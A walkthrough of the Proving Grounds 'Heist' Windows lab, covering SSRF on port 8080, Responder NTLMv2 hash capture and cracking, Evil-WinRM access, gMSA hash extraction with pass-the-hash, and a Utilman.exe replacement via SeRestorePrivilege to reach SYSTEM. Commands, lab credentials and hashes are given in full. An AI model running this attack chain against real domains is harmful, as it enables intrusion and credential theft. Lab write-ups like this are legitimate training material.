Post

Proving Grounds - Heist (Windows)

Proving Grounds Heist Windows walkthrough covering SSRF to NTLM relay, gMSA password retrieval, and SeRestorePrivilege abuse.

Proving Grounds - Heist (Windows)

Overview

Field Value
OS Windows (Server 2019)
Difficulty Hard
Attack Surface Web application (Werkzeug on 8080) and Active Directory
Primary Entry Vector SSRF on port 8080 -> Responder NTLM relay -> hash crack
Privilege Escalation Path gMSA password retrieval -> SeRestorePrivilege -> Utilman.exe binary replacement

Credentials

1
2
enox               california
svc_apache$         B4A3125F0CB30FCBB499D4B4EB1C20D2  (NT hash via gMSA)

Reconnaissance


💡 Why this works This stage maps the reachable attack surface and identifies where exploitation is most likely to succeed. Accurate service and content discovery reduces blind testing and drives targeted follow-up actions.

1
rustscan -a $ip -r 1-65535 --ulimit 5000
1
2
3
4
5
6
7
8
9
Open 192.168.198.165:53
Open 192.168.198.165:88
Open 192.168.198.165:135
Open 192.168.198.165:389
Open 192.168.198.165:445
Open 192.168.198.165:3389
Open 192.168.198.165:5985
Open 192.168.198.165:8080
Open 192.168.198.165:9389
1
2
3
4
5
6
7
8
9
10
11
12
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: SERVFAIL)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec)
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-title: Super Secure Web Browser
9389/tcp  open  mc-nmf        .NET Message Framing

SMB, RPC, and LDAP all required authentication — no anonymous access was available. Directory brute-forcing on port 8080 returned only the main page.

1
2
3
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
  -t 50 -r --timeout 3 --no-state -s 200,301,302,401,403 \
  -x php,html,txt -u http://$ip:8080
1
200      GET      202l      346w     3608c http://192.168.198.165:8080/

Initial Foothold


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

Port 8080 hosted a “Super Secure Web Browser” application — an SSRF surface. Pointing it at the attacker’s IP confirmed outbound HTTP requests from the target:

1
updog -p 445
1
192.168.198.165 - - [16/Mar/2026 02:48:54] "GET / HTTP/1.1" 200 -

With Responder listening on tun0, the SSRF was triggered again to capture an NTLMv2 hash:

1
sudo responder -I tun0 -wv
1
2
3
[HTTP] NTLMv2 Client   : 192.168.198.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash     : enox::HEIST:bf72a7715fafdfef:87373D7ED6C82B967606ADF844E16500:0101000000000000...

The hash was cracked with John:

1
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
1
california       (enox)

WinRM access was obtained with the cracked credentials:

1
evil-winrm -i $ip -u enox -p california
1
*Evil-WinRM* PS C:\Users\enox\Documents>
1
2
*Evil-WinRM* PS C:\users\enox\desktop> type local.txt
0a7b29652d1403740c3e9f159a2f9992

💡 Why this works The initial access step chains discovered weaknesses into executable control over the target. Successful foothold techniques are validated by command execution or interactive shell callbacks.

Privilege Escalation


The user enox was a member of the Web Admins group, which was authorized to retrieve the gMSA password for svc_apache$:

1
2
*Evil-WinRM* PS C:\> net user enox
Global Group memberships     *Web Admins           *Domain Users
1
2
3
*Evil-WinRM* PS C:\> Get-ADServiceAccount -Filter "name -eq 'svc_apache'" -Properties * | Select CN,PrincipalsAllowedToRetrieveManagedPassword
CN          : svc_apache
PrincipalsAllowedToRetrieveManagedPassword : {CN=DC01,..., CN=Web Admins,...}

GMSAPasswordReader.exe extracted the NT hash for svc_apache$:

1
2
3
4
5
*Evil-WinRM* PS C:\> .\GMSAPasswordReader.exe --AccountName 'svc_apache'
Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*]       rc4_hmac             : B4A3125F0CB30FCBB499D4B4EB1C20D2

Pass-the-Hash with the gMSA account via WinRM:

1
evil-winrm -i $ip -u svc_apache$ -H 'B4A3125F0CB30FCBB499D4B4EB1C20D2'
1
*Evil-WinRM* PS C:\Users\svc_apache$\Documents>

svc_apache$ held SeRestorePrivilege, allowing arbitrary file writes to system directories. The attack replaced Utilman.exe with cmd.exe:

1
2
*Evil-WinRM* PS C:\windows\system32> ren Utilman.exe Utilman.old
*Evil-WinRM* PS C:\windows\system32> copy cmd.exe Utilman.exe

After connecting via RDP, pressing Win+U on the login screen launched a SYSTEM shell:

1
2
C:\Windows\system32> whoami
nt authority\system
1
C:\Users\Administrator\Desktop> type proof.txt

💡 Why this works Privilege escalation relies on local misconfigurations, unsafe permissions, and trusted execution paths. Enumerating and abusing these trust boundaries is the fastest route to root-level access.

Lessons Learned / Key Takeaways

  • SSRF endpoints on internal web applications can be leveraged to capture NTLM hashes via Responder.
  • gMSA passwords should only be retrievable by machine accounts — allowing human users in PrincipalsAllowedToRetrieveManagedPassword is a misconfiguration.
  • SeRestorePrivilege permits overwriting protected system binaries — replace Utilman.exe with cmd.exe for a SYSTEM shell via RDP.
  • Password spraying with leaked NTLMv2 hashes from SSRF is a reliable initial access vector against AD environments.

Attack Flow


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

flowchart LR
    subgraph SCAN["🔍 スキャン"]
        direction TB
        S1["Rustscan / Nmap\nPORT: 53/88/135/389/445\n3389/5985/8080/9389"]
        S2["heist.offsec DC01\nPort 8080: Werkzeug 2.0.1\nSuper Secure Web Browser"]
        S3["SMB / RPC / LDAP\n匿名アクセス全拒否"]
        S1 --> S2 --> S3
    end

    subgraph INITIAL["💥 初期侵入"]
        direction TB
        I1["SSRF発見 :8080\nhttp://Kali:445 指定"]
        I2["Responder起動 (tun0)\nNTLMv2キャプチャ\nHEIST\\enox"]
        I3["john rockyou.txt\nenox : california"]
        I4["Evil-WinRM\nenox@DC01 :5985\n📄 local.txt"]
        I1 --> I2 --> I3 --> I4
    end

    subgraph LATERAL["🔄 横移動"]
        direction TB
        L1["Web Adminsグループ\ngMSAパスワード読取権限"]
        L2["GMSAPasswordReader.exe\nsvc_apache$ NTHash取得"]
        L3["Evil-WinRM PTH\nsvc_apache$@DC01"]
        L1 --> L2 --> L3
    end

    subgraph PRIVESC["⬆️ 権限昇格"]
        direction TB
        P1["SeRestorePrivilege確認"]
        P2["Utilman.exe → cmd.exe\nバイナリ差し替え"]
        P3["RDP → Win+U\nnt authority\\system\n📄 proof.txt"]
        P1 --> P2 --> P3
    end

    SCAN --> INITIAL --> LATERAL --> PRIVESC

    style SCAN fill:#e8eaf6
    style INITIAL fill:#c8e6c9
    style LATERAL fill:#fff9c4
    style PRIVESC fill:#ffccbc
    style P3 fill:#4caf50

References

  • Responder: https://github.com/lgandx/Responder
  • GMSAPasswordReader: https://github.com/rvazarkar/GMSAPasswordReader
  • SeRestorePrivilege Abuse: https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
This post is licensed under CC BY 4.0 by the author.